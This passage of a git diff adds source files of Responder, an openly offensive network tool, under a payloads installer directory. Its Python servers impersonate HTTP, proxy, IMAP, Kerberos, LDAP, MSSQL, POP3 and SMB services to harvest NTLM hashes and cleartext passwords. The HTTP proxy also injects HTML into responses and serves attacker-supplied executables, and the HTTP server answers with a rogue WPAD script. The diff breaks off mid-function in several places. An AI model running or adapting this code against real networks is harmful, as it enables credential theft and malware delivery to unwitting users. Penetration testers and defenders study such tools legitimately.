IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer +from packets import WPADScript, ServeExeFile, ServeHtmlFile + + +# Parse NTLMv1/v2 hash. +def ParseHTTPHash(data, Challenge, client, module): + LMhashLen = struct.unpack(' 24: + NthashLen = 64 + DomainLen = struct.unpack(' 1 and settings.Config.Verbose: + print text("[HTTP] Cookie : %s " % Cookie) + return Cookie + return False + +def GrabHost(data, host): + Host = re.search(r'(Host:*.\=*)[^\r\n]*', data) + + if Host: + Host = Host.group(0).replace('Host: ', '') + if settings.Config.Verbose: + print text("[HTTP] Host : %s " % color(Host, 3)) + return Host + return False + +def GrabReferer(data, host): + Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data) + + if Referer: + Referer = Referer.group(0).replace('Referer: ', '') + if settings.Config.Verbose: + print text("[HTTP] Referer : %s " % color(Referer, 3)) + return Referer + return False + +def SpotFirefox(data): + UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data) + if UserAgent: + print text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2)) + IsFirefox = re.search('Firefox', UserAgent[0]) + if IsFirefox: + print color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1) + print color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1) + return True + else: + return False + +def WpadCustom(data, client): + Wpad = re.search(r'(/wpad.dat|/*\.pac)', data) + if Wpad and SpotFirefox(data): + Buffer = WPADScript(Payload="function FindProxyForURL(url, host){return 'DIRECT';}") + Buffer.calculate() + return str(Buffer) + + if Wpad and SpotFirefox(data) == False: + Buffer = WPADScript(Payload=settings.Config.WPAD_Script) + Buffer.calculate() + return str(Buffer) + return False + +def IsWebDAV(data): + dav = re.search('PROPFIND', data) + if dav: + return True + else: + return False + +def ServeOPTIONS(data): + WebDav= re.search('OPTIONS', data) + if WebDav: + Buffer = WEBDAV_Options_Answer() + return str(Buffer) + + return False + +def ServeFile(Filename): + with open (Filename, "rb") as bk: + return bk.read() + +def RespondWithFile(client, filename, dlname=None): + + if filename.endswith('.exe'): + Buffer = ServeExeFile(Payload = ServeFile(filename), ContentDiFile=dlname) + else: + Buffer = ServeHtmlFile(Payload = ServeFile(filename)) + + Buffer.calculate() + print text("[HTTP] Sending file %s to %s" % (filename, client)) + return str(Buffer) + +def GrabURL(data, host): + GET = re.findall(r'(?<=GET )[^HTTP]*', data) + POST = re.findall(r'(?<=POST )[^HTTP]*', data) + POSTDATA = re.findall(r'(?<=\r\n\r\n)[^*]*', data) + + if GET and settings.Config.Verbose: + print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5))) + + if POST and settings.Config.Verbose: + print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5))) + + if len(''.join(POSTDATA)) > 2: + print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip()) + +# Handle HTTP packet sequence. +def PacketSequence(data, client, Challenge): + NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) + Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data) + + # Serve the .exe if needed + if settings.Config.Serve_Always is True or (settings.Config.Serve_Exe is True and re.findall('.exe', data)): + return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName) + + # Serve the custom HTML if needed + if settings.Config.Serve_Html: + return RespondWithFile(client, settings.Config.Html_Filename) + + WPAD_Custom = WpadCustom(data, client) + # Webdav + if ServeOPTIONS(data): + return ServeOPTIONS(data) + + if NTLM_Auth: + Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] + print "Challenge 2:", Challenge.encode('hex') + if Packet_NTLM == "\x01": + GrabURL(data, client) + GrabReferer(data, client) + GrabHost(data, client) + GrabCookie(data, client) + + Buffer = NTLM_Challenge(ServerChallenge=Challenge) + Buffer.calculate() + + Buffer_Ans = IIS_NTLM_Challenge_Ans() + Buffer_Ans.calculate(str(Buffer)) + return str(Buffer_Ans) + + if Packet_NTLM == "\x03": + NTLM_Auth = b64decode(''.join(NTLM_Auth)) + if IsWebDAV(data): + module = "WebDAV" + else: + module = "HTTP" + ParseHTTPHash(NTLM_Auth, Challenge, client, module) + + if settings.Config.Force_WPAD_Auth and WPAD_Custom: + print text("[HTTP] WPAD (auth) file sent to %s" % client) + + return WPAD_Custom + else: + Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) + Buffer.calculate() + return str(Buffer) + + elif Basic_Auth: + ClearText_Auth = b64decode(''.join(Basic_Auth)) + + GrabURL(data, client) + GrabReferer(data, client) + GrabHost(data, client) + GrabCookie(data, client) + + SaveToDb({ + 'module': 'HTTP', + 'type': 'Basic', + 'client': client, + 'user': ClearText_Auth.split(':')[0], + 'cleartext': ClearText_Auth.split(':')[1], + }) + + if settings.Config.Force_WPAD_Auth and WPAD_Custom: + if settings.Config.Verbose: + print text("[HTTP] WPAD (auth) file sent to %s" % client) + + return WPAD_Custom + else: + Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) + Buffer.calculate() + return str(Buffer) + else: + if settings.Config.Basic: + Response = IIS_Basic_401_Ans() + if settings.Config.Verbose: + print text("[HTTP] Sending BASIC authentication request to %s" % client) + + else: + Response = IIS_Auth_401_Ans() + if settings.Config.Verbose: + print text("[HTTP] Sending NTLM authentication request to %s" % client) + + return str(Response) + +# HTTP Server class +class HTTP(BaseRequestHandler): + + def handle(self): + try: + Challenge = RandomChallenge() + + while True: + self.request.settimeout(3) + remaining = 10*1024*1024 #setting max recieve size + data = '' + while True: + buff = '' + buff = self.request.recv(8092) + if buff == '': + break + data += buff + remaining -= len(buff) + if remaining <= 0: + break + #check if we recieved the full header + if data.find('\r\n\r\n') != -1: + #we did, now to check if there was anything else in the request besides the header + if data.find('Content-Length') == -1: + #request contains only header + break + else: + #searching for that content-length field in the header + for line in data.split('\r\n'): + if line.find('Content-Length') != -1: + line = line.strip() + remaining = int(line.split(':')[1].strip()) - len(data) + + #now the data variable has the full request + Buffer = WpadCustom(data, self.client_address[0]) + + if Buffer and settings.Config.Force_WPAD_Auth == False: + self.request.send(Buffer) + self.request.close() + if settings.Config.Verbose: + print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]) + + else: + Buffer = PacketSequence(data,self.client_address[0], Challenge) + self.request.send(Buffer) + + except socket.error: + pass + diff --git a/payloads/library/tools_installer/tools_to_install/responder/servers/HTTP_Proxy.py b/payloads/library/tools_installer/tools_to_install/responder/servers/HTTP_Proxy.py new file mode 100644 index 0000000..71e6e75 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/servers/HTTP_Proxy.py @@ -0,0 +1,347 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import urlparse +import select +import zlib +import BaseHTTPServer + +from servers.HTTP import RespondWithFile +from utils import * + +IgnoredDomains = [ 'crl.comodoca.com', 'crl.usertrust.com', 'ocsp.comodoca.com', 'ocsp.usertrust.com', 'www.download.windowsupdate.com', 'crl.microsoft.com' ] + +def InjectData(data, client, req_uri): + + # Serve the .exe if needed + if settings.Config.Serve_Always: + return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName) + + # Serve the .exe if needed and client requested a .exe + if settings.Config.Serve_Exe == True and req_uri.endswith('.exe'): + return RespondWithFile(client, settings.Config.Exe_Filename, os.path.basename(req_uri)) + + if len(data.split('\r\n\r\n')) > 1: + try: + Headers, Content = data.split('\r\n\r\n') + except: + return data + + RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307'] + if set(RedirectCodes) & set(Headers): + return data + + if "content-encoding: gzip" in Headers.lower(): + Content = zlib.decompress(Content, 16+zlib.MAX_WBITS) + + if "content-type: text/html" in Headers.lower(): + if settings.Config.Serve_Html: # Serve the custom HTML if needed + return RespondWithFile(client, settings.Config.Html_Filename) + + Len = ''.join(re.findall(r'(?<=Content-Length: )[^\r\n]*', Headers)) + HasBody = re.findall(r'(]*>)', Content) + + if HasBody and len(settings.Config.HtmlToInject) > 2: + if settings.Config.Verbose: + print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1)) + + Content = Content.replace(HasBody[0], '%s\n%s' % (HasBody[0], settings.Config.HtmlToInject)) + + if "content-encoding: gzip" in Headers.lower(): + Content = zlib.compress(Content) + + Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content))) + data = Headers +'\r\n\r\n'+ Content + else: + if settings.Config.Verbose: + print text("[PROXY] Returning unmodified HTTP response") + return data + +class ProxySock: + def __init__(self, socket, proxy_host, proxy_port) : + + # First, use the socket, without any change + self.socket = socket + + # Create socket (use real one) + self.proxy_host = proxy_host + self.proxy_port = proxy_port + + # Copy attributes + self.family = socket.family + self.type = socket.type + self.proto = socket.proto + + def connect(self, address) : + + # Store the real remote adress + self.host, self.port = address + + # Try to connect to the proxy + for (family, socktype, proto, canonname, sockaddr) in socket.getaddrinfo( + self.proxy_host, + self.proxy_port, + 0, 0, socket.SOL_TCP): + try: + # Replace the socket by a connection to the proxy + self.socket = socket.socket(family, socktype, proto) + self.socket.connect(sockaddr) + except socket.error, msg: + if self.socket: + self.socket.close() + self.socket = None + continue + break + if not self.socket : + raise socket.error, msg + + # Ask him to create a tunnel connection to the target host/port + self.socket.send( + ("CONNECT %s:%d HTTP/1.1\r\n" + + "Host: %s:%d\r\n\r\n") % (self.host, self.port, self.host, self.port)) + + # Get the response + resp = self.socket.recv(4096) + + # Parse the response + parts = resp.split() + + # Not 200 ? + if parts[1] != "200": + print color("[!] Error response from upstream proxy: %s" % resp, 1) + pass + + # Wrap all methods of inner socket, without any change + def accept(self) : + return self.socket.accept() + + def bind(self, *args) : + return self.socket.bind(*args) + + def close(self) : + return self.socket.close() + + def fileno(self) : + return self.socket.fileno() + + def getsockname(self) : + return self.socket.getsockname() + + def getsockopt(self, *args) : + return self.socket.getsockopt(*args) + + def listen(self, *args) : + return self.socket.listen(*args) + + def makefile(self, *args) : + return self.socket.makefile(*args) + + def recv(self, *args) : + return self.socket.recv(*args) + + def recvfrom(self, *args) : + return self.socket.recvfrom(*args) + + def recvfrom_into(self, *args) : + return self.socket.recvfrom_into(*args) + + def recv_into(self, *args) : + return self.socket.recv_into(buffer, *args) + + def send(self, *args) : + try: return self.socket.send(*args) + except: pass + + def sendall(self, *args) : + return self.socket.sendall(*args) + + def sendto(self, *args) : + return self.socket.sendto(*args) + + def setblocking(self, *args) : + return self.socket.setblocking(*args) + + def settimeout(self, *args) : + return self.socket.settimeout(*args) + + def gettimeout(self) : + return self.socket.gettimeout() + + def setsockopt(self, *args): + return self.socket.setsockopt(*args) + + def shutdown(self, *args): + return self.socket.shutdown(*args) + + # Return the (host, port) of the actual target, not the proxy gateway + def getpeername(self) : + return self.host, self.port + +# Inspired from Tiny HTTP proxy, original work: SUZUKI Hisao. +class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): + __base = BaseHTTPServer.BaseHTTPRequestHandler + __base_handle = __base.handle + + rbufsize = 0 + + def handle(self): + (ip, port) = self.client_address + if settings.Config.Verbose: + print text("[PROXY] Received connection from %s" % self.client_address[0]) + self.__base_handle() + + def _connect_to(self, netloc, soc): + i = netloc.find(':') + if i >= 0: + host_port = netloc[:i], int(netloc[i+1:]) + else: + host_port = netloc, 80 + try: soc.connect(host_port) + except socket.error, arg: + try: msg = arg[1] + except: msg = arg + self.send_error(404, msg) + return 0 + return 1 + + def socket_proxy(self, af, fam): + Proxy = settings.Config.Upstream_Proxy + Proxy = Proxy.rstrip('/').replace('http://', '').replace('https://', '') + Proxy = Proxy.split(':') + + try: Proxy = (Proxy[0], int(Proxy[1])) + except: Proxy = (Proxy[0], 8080) + + soc = socket.socket(af, fam) + return ProxySock(soc, Proxy[0], Proxy[1]) + + def do_CONNECT(self): + + if settings.Config.Upstream_Proxy: + soc = self.socket_proxy(socket.AF_INET, socket.SOCK_STREAM) + else: + soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + try: + if self._connect_to(self.path, soc): + self.wfile.write(self.protocol_version +" 200 Connection established\r\n") + self.wfile.write("Proxy-agent: %s\r\n" % self.version_string()) + self.wfile.write("\r\n") + try: + self._read_write(soc, 300) + except: + pass + except: + pass + + finally: + soc.close() + self.connection.close() + + def do_GET(self): + (scm, netloc, path, params, query, fragment) = urlparse.urlparse(self.path, 'http') + + if netloc in IgnoredDomains: + #self.send_error(200, "OK") + return + + if scm not in 'http' or fragment or not netloc: + self.send_error(400, "bad url %s" % self.path) + return + + if settings.Config.Upstream_Proxy: + soc = self.socket_proxy(socket.AF_INET, socket.SOCK_STREAM) + else: + soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + try: + URL_Unparse = urlparse.urlunparse(('', '', path, params, query, '')) + + if self._connect_to(netloc, soc): + soc.send("%s %s %s\r\n" % (self.command, URL_Unparse, self.request_version)) + + Cookie = self.headers['Cookie'] if "Cookie" in self.headers else '' + + if settings.Config.Verbose: + print text("[PROXY] Client : %s" % color(self.client_address[0], 3)) + print text("[PROXY] Requested URL : %s" % color(self.path, 3)) + print text("[PROXY] Cookie : %s" % Cookie) + + self.headers['Connection'] = 'close' + del self.headers['Proxy-Connection'] + del self.headers['If-Range'] + del self.headers['Range'] + + for k, v in self.headers.items(): + soc.send("%s: %s\r\n" % (k.title(), v)) + soc.send("\r\n") + + try: + self._read_write(soc, netloc) + except: + pass + + except: + pass + + finally: + soc.close() + self.connection.close() + + def _read_write(self, soc, netloc='', max_idling=30): + iw = [self.connection, soc] + ow = [] + count = 0 + while 1: + count += 1 + (ins, _, exs) = select.select(iw, ow, iw, 1) + if exs: + break + if ins: + for i in ins: + if i is soc: + out = self.connection + try: + data = i.recv(4096) + if len(data) > 1: + data = InjectData(data, self.client_address[0], self.path) + except: + pass + else: + out = soc + try: + data = i.recv(4096) + + if self.command == "POST" and settings.Config.Verbose: + print text("[PROXY] POST Data : %s" % data) + except: + pass + if data: + try: + out.send(data) + count = 0 + except: + pass + if count == max_idling: + break + return None + + + do_HEAD = do_GET + do_POST = do_GET + do_PUT = do_GET + do_DELETE=do_GET + diff --git a/payloads/library/tools_installer/tools_to_install/responder/servers/IMAP.py b/payloads/library/tools_installer/tools_to_install/responder/servers/IMAP.py new file mode 100644 index 0000000..765db32 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/servers/IMAP.py @@ -0,0 +1,49 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +from utils import * +from SocketServer import BaseRequestHandler +from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd + +class IMAP(BaseRequestHandler): + def handle(self): + try: + self.request.send(str(IMAPGreeting())) + data = self.request.recv(1024) + + if data[5:15] == "CAPABILITY": + RequestTag = data[0:4] + self.request.send(str(IMAPCapability())) + self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag))) + data = self.request.recv(1024) + + if data[5:10] == "LOGIN": + Credentials = data[10:].strip() + + SaveToDb({ + 'module': 'IMAP', + 'type': 'Cleartext', + 'client': self.client_address[0], + 'user': Credentials[0], + 'cleartext': Credentials[1], + 'fullhash': Credentials[0]+":"+Credentials[1], + }) + + ## FIXME: Close connection properly + ## self.request.send(str(ditchthisconnection())) + ## data = self.request.recv(1024) + except Exception: + pass diff --git a/payloads/library/tools_installer/tools_to_install/responder/servers/Kerberos.py b/payloads/library/tools_installer/tools_to_install/responder/servers/Kerberos.py new file mode 100644 index 0000000..39a57aa --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/servers/Kerberos.py @@ -0,0 +1,139 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +from SocketServer import BaseRequestHandler +from utils import * +import struct + +def ParseMSKerbv5TCP(Data): + MsgType = Data[21:22] + EncType = Data[43:44] + MessageType = Data[32:33] + + if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": + if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": + HashLen = struct.unpack('. +from SocketServer import BaseRequestHandler +from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge +from utils import * +import struct + +def ParseSearch(data): + if re.search(r'(objectClass)', data): + return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9])) + elif re.search(r'(?i)(objectClass0*.*supportedCapabilities)', data): + return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) + elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data): + return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) + +def ParseLDAPHash(data, client): + SSPIStart = data[42:] + LMhashLen = struct.unpack(' 10: + LMhashOffset = struct.unpack('i',data[2:6])[0] + MessageSequence = struct.unpack('i',data[11:15])[0] + LDAPVersion = struct.unpack('. +from SocketServer import BaseRequestHandler +from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer +from utils import * +import struct + +class TDS_Login_Packet: + def __init__(self, data): + + ClientNameOff = struct.unpack(' 60: + WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:]) + + SaveToDb({ + 'module': 'MSSQL', + 'type': 'NTLMv2', + 'client': client, + 'user': Domain+'\\'+User, + 'hash': NTHash[:32]+":"+NTHash[32:], + 'fullhash': WriteHash, + }) + + +def ParseSqlClearTxtPwd(Pwd): + Pwd = map(ord,Pwd.replace('\xa5','')) + Pw = '' + for x in Pwd: + Pw += hex(x ^ 0xa5)[::-1][:2].replace("x", "0").decode('hex') + return Pw + + +def ParseClearTextSQLPass(data, client): + TDS = TDS_Login_Packet(data) + SaveToDb({ + 'module': 'MSSQL', + 'type': 'Cleartext', + 'client': client, + 'hostname': "%s (%s)" % (TDS.ServerName, TDS.DatabaseName), + 'user': TDS.UserName, + 'cleartext': ParseSqlClearTxtPwd(TDS.Password), + 'fullhash': TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password), + }) + +# MSSQL Server class +class MSSQL(BaseRequestHandler): + def handle(self): + if settings.Config.Verbose: + print text("[MSSQL] Received connection from %s" % self.client_address[0]) + + try: + while True: + data = self.request.recv(1024) + self.request.settimeout(0.1) + Challenge = RandomChallenge() + + if data[0] == "\x12": # Pre-Login Message + Buffer = str(MSSQLPreLoginAnswer()) + self.request.send(Buffer) + data = self.request.recv(1024) + + if data[0] == "\x10": # NegoSSP + if re.search("NTLMSSP",data): + Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge) + Packet.calculate() + Buffer = str(Packet) + self.request.send(Buffer) + data = self.request.recv(1024) + else: + ParseClearTextSQLPass(data,self.client_address[0]) + + if data[0] == "\x11": # NegoSSP Auth + ParseSQLHash(data,self.client_address[0]) + + except: + self.request.close() + pass diff --git a/payloads/library/tools_installer/tools_to_install/responder/servers/POP3.py b/payloads/library/tools_installer/tools_to_install/responder/servers/POP3.py new file mode 100644 index 0000000..44342b8 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/servers/POP3.py @@ -0,0 +1,48 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +from utils import * +from SocketServer import BaseRequestHandler +from packets import POPOKPacket + +# POP3 Server class +class POP3(BaseRequestHandler): + def SendPacketAndRead(self): + Packet = POPOKPacket() + self.request.send(str(Packet)) + return self.request.recv(1024) + + def handle(self): + try: + data = self.SendPacketAndRead() + + if data[0:4] == "USER": + User = data[5:].replace("\r\n","") + data = self.SendPacketAndRead() + if data[0:4] == "PASS": + Pass = data[5:].replace("\r\n","") + + SaveToDb({ + 'module': 'POP3', + 'type': 'Cleartext', + 'client': self.client_address[0], + 'user': User, + 'cleartext': Pass, + 'fullhash': User+":"+Pass, + }) + self.SendPacketAndRead() + except Exception: + pass diff --git a/payloads/library/tools_installer/tools_to_install/responder/servers/Proxy_Auth.py b/payloads/library/tools_installer/tools_to_install/responder/servers/Proxy_Auth.py new file mode 100644 index 0000000..f83b31e --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/servers/Proxy_Auth.py @@ -0,0 +1,112 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import SocketServer +from HTTP import ParseHTTPHash +from packets import * +from utils import * + +def GrabUserAgent(data): + UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data) + if UserAgent: + print text("[Proxy-Auth] %s" % color("User-Agent : "+UserAgent[0], 2)) + +def GrabCookie(data): + Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data) + + if Cookie: + Cookie = Cookie.group(0).replace('Cookie: ', '') + if len(Cookie) > 1: + if settings.Config.Verbose: + print text("[Proxy-Auth] %s" % color("Cookie : "+Cookie, 2)) + + return Cookie + return False + +def GrabHost(data): + Host = re.search(r'(Host:*.\=*)[^\r\n]*', data) + + if Host: + Host = Host.group(0).replace('Host: ', '') + if settings.Config.Verbose: + print text("[Proxy-Auth] %s" % color("Host : "+Host, 2)) + + return Host + return False + +def PacketSequence(data, client, Challenge): + NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) + Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data) + if NTLM_Auth: + Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] + if Packet_NTLM == "\x01": + if settings.Config.Verbose: + print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client) + + Buffer = NTLM_Challenge(ServerChallenge=Challenge) + Buffer.calculate() + Buffer_Ans = WPAD_NTLM_Challenge_Ans() + Buffer_Ans.calculate(str(Buffer)) + return str(Buffer_Ans) + if Packet_NTLM == "\x03": + NTLM_Auth = b64decode(''.join(NTLM_Auth)) + ParseHTTPHash(NTLM_Auth, Challenge, client, "Proxy-Auth") + GrabUserAgent(data) + GrabCookie(data) + GrabHost(data) + return False #Send a RST with SO_LINGER when close() is called (see Responder.py) + else: + return False + + elif Basic_Auth: + GrabUserAgent(data) + GrabCookie(data) + GrabHost(data) + ClearText_Auth = b64decode(''.join(Basic_Auth)) + SaveToDb({ + 'module': 'Proxy-Auth', + 'type': 'Basic', + 'client': client, + 'user': ClearText_Auth.split(':')[0], + 'cleartext': ClearText_Auth.split(':')[1], + }) + + return False + else: + if settings.Config.Basic: + Response = WPAD_Basic_407_Ans() + if settings.Config.Verbose: + print text("[Proxy-Auth] Sending BASIC authentication request to %s" % client) + + else: + Response = WPAD_Auth_407_Ans() + + return str(Response) + +class Proxy_Auth(SocketServer.BaseRequestHandler): + + + def handle(self): + try: + Challenge = RandomChallenge() + for x in range(2): + data = self.request.recv(4096) + self.request.send(PacketSequence(data, self.client_address[0], Challenge)) + + except: + pass + + diff --git a/payloads/library/tools_installer/tools_to_install/responder/servers/SMB.py b/payloads/library/tools_installer/tools_to_install/responder/servers/SMB.py new file mode 100644 index 0000000..1561871 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/servers/SMB.py @@ -0,0 +1,434 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +from random import randrange +from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData, SMB2Header, SMB2NegoAns, SMB2Session1Data, SMB2Session2Data +from SocketServer import BaseRequestHandler +from utils import * +import struct +import re + + +def Is_Anonymous(data): # Detect if SMB auth was Anonymous + SecBlobLen = struct.unpack(' 260: + LMhashLen = struct.unpack(' 60: + SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() + DomainLen = struct.unpack(' 25: + FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex') + LmHash = FullHash[:32].upper() + NtHash = FullHash[32:].upper() + WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), LmHash, NtHash) + + SaveToDb({ + 'module': 'SMB', + 'type': 'NTLMv2', + 'client': client, + 'user': Domain+'\\'+Username, + 'hash': NtHash, + 'fullhash': WriteHash, + }) + + if NthashLen == 24: + NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper() + LmHash = data[65:65+LMhashLen].encode('hex').upper() + WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, Challenge.encode('hex')) + + SaveToDb({ + 'module': 'SMB', + 'type': 'NTLMv1', + 'client': client, + 'user': Domain+'\\'+Username, + 'hash': NtHash, + 'fullhash': WriteHash, + }) + +def IsNT4ClearTxt(data, client): + HeadLen = 36 + + if data[14:16] == "\x03\x80": + SmbData = data[HeadLen+14:] + WordCount = data[HeadLen] + ChainedCmdOffset = data[HeadLen+1] + + if ChainedCmdOffset == "\x75": + PassLen = struct.unpack(' 2: + Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") + User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") + print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password)) + WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password) + + +class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP + def handle(self): + try: + self.ntry = 0 + while True: + data = self.request.recv(1024) + self.request.settimeout(1) + Challenge = RandomChallenge() + + if not data: + break + + if data[0] == "\x81": #session request 139 + Buffer = "\x82\x00\x00\x00" + try: + self.request.send(Buffer) + data = self.request.recv(1024) + except: + pass + + ##Negotiate proto answer SMBv2. + if data[8:10] == "\x72\x00" and re.search("SMB 2.\?\?\?", data): + head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00") + t = SMB2NegoAns() + t.calculate() + packet1 = str(head)+str(t) + buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1 + self.request.send(buffer1) + data = self.request.recv(1024) + ## Session Setup 1 answer SMBv2. + if data[16:18] == "\x00\x00" and data[4:5] == "\xfe": + head = SMB2Header(MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data)) + t = SMB2NegoAns(Dialect="\x10\x02") + t.calculate() + packet1 = str(head)+str(t) + buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1 + self.request.send(buffer1) + data = self.request.recv(1024) + ## Session Setup 2 answer SMBv2. + if data[16:18] == "\x01\x00" and data[4:5] == "\xfe": + head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID=GrabSessionID(data),NTStatus="\x16\x00\x00\xc0") + t = 